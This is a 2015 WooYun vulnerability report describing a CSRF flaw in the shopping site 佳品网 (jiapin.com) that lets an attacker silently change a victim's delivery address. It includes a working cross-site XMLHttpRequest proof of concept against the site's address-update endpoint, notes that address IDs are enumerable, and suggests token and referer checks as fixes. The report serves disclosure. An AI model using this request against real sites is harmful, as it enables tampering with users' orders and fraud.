当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0125194

漏洞标题：佳品网 csrf一枚 收货地址随意修改

相关厂商：佳品网

漏洞作者： 路人甲

提交时间：2015-07-07 17:39

修复时间：2015-07-12 22:54

公开时间：2015-07-12 22:54

漏洞类型：CSRF

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-07： 细节已通知厂商并且等待厂商处理中
2015-07-12： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

佳品网 修改收货地址存在csrf，存在被攻击者随意修改的安全隐患

详细说明：

修改收货地址，查看包

change addr1.jpg


修改成功，看地址信息

change addr2.jpg


构造csrf链接，主要代码：

xmlhttp.open("POST", "http://order.jiapin.com/view/updateaddresssubmit", true);
	xmlhttp.withCredentials = true;
	xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	xmlhttp.send("id1=315062&contact=woogggg&province=110000&city=110100&area=110101&address=fegt&address_code=000000&address_tel=13111111111&address_phone_one=111&address_phone_two=2222222&address_phone_three=333");


访问该链接

change addr3.jpg


地址已经被修改啦，刷新收货地址，验证

change addr4.jpg


地址ID为纯数字，完全可遍历，故只要被攻击者不小心点击攻击者的伪造链接，用户的收货地址均可被悄悄修改，存在严重的安全隐患。

漏洞证明：

已证明

修复方案：

加token
验证referer

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-07-12 22:54

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无